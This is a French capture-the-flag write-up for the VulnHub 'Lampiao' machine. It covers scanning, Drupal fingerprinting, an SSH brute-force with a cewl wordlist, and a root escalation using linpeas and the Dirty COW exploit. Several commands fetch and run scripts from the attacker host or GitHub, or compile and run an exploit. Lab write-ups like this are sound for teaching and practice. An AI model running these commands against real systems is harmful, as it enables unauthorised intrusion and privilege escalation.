← CTF archive

· Earliest timestamped screenshot

[VulnHub] Lampiao

Hamza TERIR

Trouver la machine (vmnet8):

for i in {1..254} ;do (ping -c 1 172.16.93.$i | grep "bytes from" &) ;done > hosts.txt && cat hosts.txt| cut -d "m" -f 2| cut -d ":" -f 1 > list.txt && cat list.txt

IP machine : 172.16.93.132 Attacker : 172.16.93.1

export machine="172.16.93.132"
sudo nmap -sC -sV -oA Lampiao $machine

Ports : [80, 22]

sudo nmap -sC -sV -p- -oA Lampiao-allports $machine

Ports : [80, 22, 1898]

Screenshot

URL : http://172.16.93.132:1898/

gobuster dir -u http://$machine:1898 -w /usr/share/wordlists/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt

Files :

/misc                 
/modules              
/themes               
/scripts              
/sites                
/includes             
/profiles

Screenshot

whatweb http://$machine:1898

Screenshot

Usernames : [Eder, tiago]

Drupal 7 :

curl -s http://$machine:1898/CHANGELOG.txt | grep -m2 ""

Drupal 7.54, 2017-02-01

droopescan scan drupal -u http://$machine:1898/

Users.txt : [Eder, tiago]

J’ai essayé un brute force avec rockyou.txt, mais ça n’a rien donné.

SSH

hydra -l users.txt -P rockyou.txt [-t 32] <IP> ssh

Suite des recherches :

Tiago :

Screenshot

/?q=user/1 /?q=user/2 /?q=user/3

Les liens renvoient un accès interdit. On peut tout de même récupérer les mots de la page avec cewl pour créer une wordlist.

cewl "http://172.16.93.132:1898/?q=user/1" --write /home/eazy/Desktop/Machines/Lampiao/exploit/MDP1.txt

cewl "http://172.16.93.132:1898/?q=user/2" --write /home/eazy/Desktop/Machines/Lampiao/exploit/MDP2.txt

cewl "http://172.16.93.132:1898/?q=user/3" --write /home/eazy/Desktop/Machines/Lampiao/exploit/MDP3.txt

Combiner toutes les wordlists :

cat MDP.txt MDP2.txt MDP3.txt > custom-word.txt
hydra -L users.txt -P custom-word.txt -t 32 $machine ssh -I

Screenshot

Identifiants : [tiago:Virgulino]

ssh tiago@$machine

Screenshot

Linpeas

cd /tmp/ && wget http://172.16.93.1/linpeas.sh && chmod +x linpeas.sh && ./linpeas.sh

hashtester:$S $DAK00p3Dkojkf4O/UizYxenguXnjv

cat /etc/os-release
searchsploit Ubuntu 14.04.5

Screenshot

(42276.c) Ne fonctionne pas.

linux-exploit-suggester-2 :

wget https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl && chmod +x linux-exploit-suggester-2.pl && ./linux-exploit-suggester-2.pl

Screenshot

J’ai testé les exploits proposés, mais aucun n’a fonctionné.

linux exploit suggester :

wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh && chmod +x les.sh && ./les.sh

J’ai fait planter la VM une fois.

wget https://www.exploit-db.com/raw/40847 && mv 40847 40847.cpp && g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil && chmod +x 40847 && ./dcow -s

Screenshot

flag.txt

Screenshot